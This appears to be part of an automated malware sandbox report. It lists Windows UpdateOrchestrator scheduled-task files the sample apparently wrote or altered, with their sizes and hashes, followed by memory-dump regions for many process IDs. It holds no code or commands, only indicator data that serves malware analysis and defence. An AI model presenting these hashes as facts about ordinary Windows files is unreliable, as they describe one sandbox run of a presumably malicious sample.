                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                            SHA1

                                                                                                            98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                            SHA256

                                                                                                            ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                            SHA512

                                                                                                            c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            f313c5b4f95605026428425586317353

                                                                                                            SHA1

                                                                                                            06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                            SHA256

                                                                                                            129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                            SHA512

                                                                                                            b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                            SHA1

                                                                                                            a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                            SHA256

                                                                                                            98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                            SHA512

                                                                                                            1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            7d612892b20e70250dbd00d0cdd4f09b

                                                                                                            SHA1

                                                                                                            63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                            SHA256

                                                                                                            727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                            SHA512

                                                                                                            f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                            SHA1

                                                                                                            5fd0a67671430f66237f483eef39ff599b892272

                                                                                                            SHA256

                                                                                                            55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                            SHA512

                                                                                                            5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            0b990e24f1e839462c0ac35fef1d119e

                                                                                                            SHA1

                                                                                                            9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                            SHA256

                                                                                                            a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                            SHA512

                                                                                                            c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                          • memory/528-98-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/944-86-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1124-88-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1132-89-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1164-72-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1264-309-0x00000143C8EA0000-0x00000143C8EAE000-memory.dmp

                                                                                                            Filesize

                                                                                                            56KB

                                                                                                          • memory/1264-289-0x00000143C89E0000-0x00000143C89EC000-memory.dmp

                                                                                                            Filesize

                                                                                                            48KB

                                                                                                          • memory/1264-62-0x00000143C85A0000-0x00000143C85B4000-memory.dmp

                                                                                                            Filesize

                                                                                                            80KB

                                                                                                          • memory/1324-91-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1524-90-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1556-64-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1700-97-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1736-75-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1808-68-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1936-73-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1948-65-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1956-71-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/1960-66-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/2152-69-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/2488-96-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/2500-87-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/2712-85-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/2720-84-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/2728-74-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/3116-70-0x00007FFCCF2A0000-0x00007FFCCFD61000-memory.dmp

                                                                                                            Filesize

                                                                                                            10.8MB

                                                                                                          • memory/3116-13-0x00000220280D0000-0x0000022028114000-memory.dmp

                                                                                                            Filesize

                                                                                                            272KB

                                                                                                          • memory/3116-1-0x0000022028050000-0x0000022028072000-memory.dmp

                                                                                                            Filesize

                                                                                                            136KB

                                                                                                          • memory/3116-11-0x00007FFCCF2A0000-0x00007FFCCFD61000-memory.dmp

                                                                                                            Filesize

                                                                                                            10.8MB

                                                                                                          • memory/3116-12-0x00007FFCCF2A0000-0x00007FFCCFD61000-memory.dmp

                                                                                                            Filesize

                                                                                                            10.8MB

                                                                                                          • memory/3116-16-0x0000022028490000-0x00000220284DA000-memory.dmp

                                                                                                            Filesize

                                                                                                            296KB

                                                                                                          • memory/3116-0-0x00007FFCCF2A3000-0x00007FFCCF2A5000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/3116-14-0x0000022028510000-0x0000022028586000-memory.dmp

                                                                                                            Filesize

                                                                                                            472KB

                                                                                                          • memory/3116-15-0x00000220280A0000-0x00000220280A8000-memory.dmp

                                                                                                            Filesize

                                                                                                            32KB

                                                                                                          • memory/3444-50-0x0000000002A50000-0x0000000002A7A000-memory.dmp

                                                                                                            Filesize

                                                                                                            168KB

                                                                                                          • memory/3444-63-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/3544-67-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            64KB

                                                                                                          • memory/4320-28-0x00007FFCCF2A0000-0x00007FFCCFD61000-memory.dmp

                                                                                                            Filesize

                                                                                                            10.8MB

                                                                                                          • memory/4320-18-0x00007FFCCF2A0000-0x00007FFCCFD61000-memory.dmp

                                                                                                            Filesize

                                                                                                            10.8MB

                                                                                                          • memory/4320-29-0x00007FFCCF2A0000-0x00007FFCCFD61000-memory.dmp

                                                                                                            Filesize

                                                                                                            10.8MB

                                                                                                          • memory/4320-32-0x00007FFCCF2A0000-0x00007FFCCFD61000-memory.dmp

                                                                                                            Filesize

                                                                                                            10.8MB